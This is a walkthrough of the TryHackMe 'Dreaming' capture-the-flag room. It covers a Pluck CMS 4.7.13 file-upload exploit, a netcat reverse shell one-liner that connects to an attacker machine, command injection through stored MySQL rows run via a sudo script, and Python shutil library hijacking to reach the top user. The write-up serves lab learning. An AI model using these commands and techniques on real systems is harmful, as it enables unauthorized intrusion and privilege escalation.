We covered TryHackMe Dreaming challenge where we demonstrated penetration testing concepts such as exploiting a vulnerable version of Pluck CMS to gain a reverse shell. Then we started the process of horizontal Linux privilege escalation. We moved between various users with alternating privileges such as www-data, lucien, death and morpheus. A combination of weak file permissions, incorrectly assigned privileges and hard coded credentials we were able to escalate privileges to the highest user, Morpheus, and wrap up the challenge.
Initial Reconnaissance and Web Exploitation
I started my reconnaissance with an Nmap scan, which quickly revealed two open ports: 22 (SSH) and 80 (HTTP web server).
Navigating to the web server initially showed a default Apache2 page. To uncover hidden directories, I used GoBuster with a common wordlist. While the exact command wasn’t fully shown, the typical structure I used was:
gobuster dir -u <IP_ADDRESS> -w <WORDLIST_PATH>/common.txt
This scan revealed an important directory: /app
. Upon navigating to /app
, I was redirected to a path that clearly indicated the web server was running Pluck CMS version 4.7.13.
With the CMS identified, I immediately used searchsploit
to look for known exploits:
searchsploit pluck cms
This search yielded an authenticated file upload remote code execution exploit specifically for version 4.7.13.
To gain initial access, the exploit required admin credentials. The video mentioned the default credentials are “admin” for the username and “password” for the password. I copied the exploit script locally using:
searchsploit -m <EXPLOIT_ID>
Then, I executed the Python exploit script with the target IP, port, password, and the path to the Pluck CMS installation (likely port 80):
python <EXPLOIT_SCRIPT_NAME>.py <TARGET_IP> <TARGET_PORT> password /app/
Successful execution uploaded a web shell, giving me my first foothold on the system.
Privilege Escalation: From Web Shell to User lucian
From the web shell, I needed a more stable shell. I used a Netcat reverse shell one-liner, similar to this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <LISTENER_PORT> >/tmp/f
On my attacker machine, I set up a listener:
nc -lvnp <LISTENER_PORT>
(e.g.,nc -lvnp 4545
)
Once I received the shell, I stabilized it using the Python TTY trick:
python -c 'import pty; pty.spawn("/bin/bash")'
I found myself as the www-data
user. Listing the /home
directory revealed three users: death
, lucian
, and morpheus
.
To find credentials for lucian
, I enumerated the /opt
directory. I found two Python scripts: get_dreams.py
and test.py
. While get_dreams.py
interacted with a MySQL database (and had a redacted password for user death
), test.py
contained a plaintext password for the user lucian
.
With lucian
‘s password, I switched to that user:
su lucian
(and then entered the found password)
Privilege Escalation: From lucian
to User death
As lucian
, I immediately checked my sudo
privileges:
sudo -l
This revealed that lucian
could run /opt/get_dreams.py
as the user death
without a password.
I then performed some MySQL enumeration as lucian
. Checking lucian
‘s bash history (cat ~/.bash_history
) revealed a MySQL login command with lucian
‘s credentials. I logged into MySQL:
mysql -u lucian -p<PASSWORD_FROM_HISTORY>
Inside MySQL, I explored the databases and tables:
SHOW DATABASES;
(foundlibrary
)USE library;
SHOW TABLES;
(founddreams
)SELECT * FROM dreams;
The dreams
table had dreamer
and dream
columns, and the get_dreams.py
script outputted their content. This gave me an idea for MySQL command injection. I inserted a new entry into the dreams
table:
INSERT INTO dreams (dreamer, dream) VALUES ('injection', '/bin/bash');
Now, by exploiting the sudo
privilege, I ran the get_dreams.py
script as death
:
sudo -u death python3 /opt/get_dreams.py
This executed the /bin/bash
command I had stored in the database, giving me a shell as user death
.
As death
, I could now read the get_dreams.py
script in death
‘s home directory (/home/death/get_dreams.py
), which finally revealed death
‘s actual password (which was previously redacted). I then switched to death
for a stable shell:
su death
(and entered the newly found password)
Privilege Escalation: From death
to User morpheus
(Root Equivalent)
My final step was to escalate privileges to morpheus
, who was essentially the root user. I started by enumerating morpheus
‘s home directory and found a Python script called restore.py
.
Analyzing restore.py
, I saw it used the shutil
Python library to perform a backup. This gave me an idea for Python library hijacking. If restore.py
(likely run by a cron job as morpheus
) imported a modified shutil.py
library, my code would execute as morpheus
.
I found the location of shutil.py
(e.g., /usr/lib/python3.8/shutil.py
). Crucially, the death
user had group write permissions on shutil.py
.
I then modified shutil.py
:
- First, I cleared its content:
echo "" > /usr/lib/python3.8/shutil.py
- Then, I echoed a Python reverse shell payload into
shutil.py
, ensuring my IP and listener port were correct:echo '<PYTHON_REVERSE_SHELL_CODE>' >> /usr/lib/python3.8/shutil.py
Finally, I started a listener on my attacker machine on the port specified in the Python reverse shell (e.g., 4446). When the restore.py
script executed (presumably via cron), it imported my modified shutil.py
, triggering the reverse shell and giving me access as morpheus
.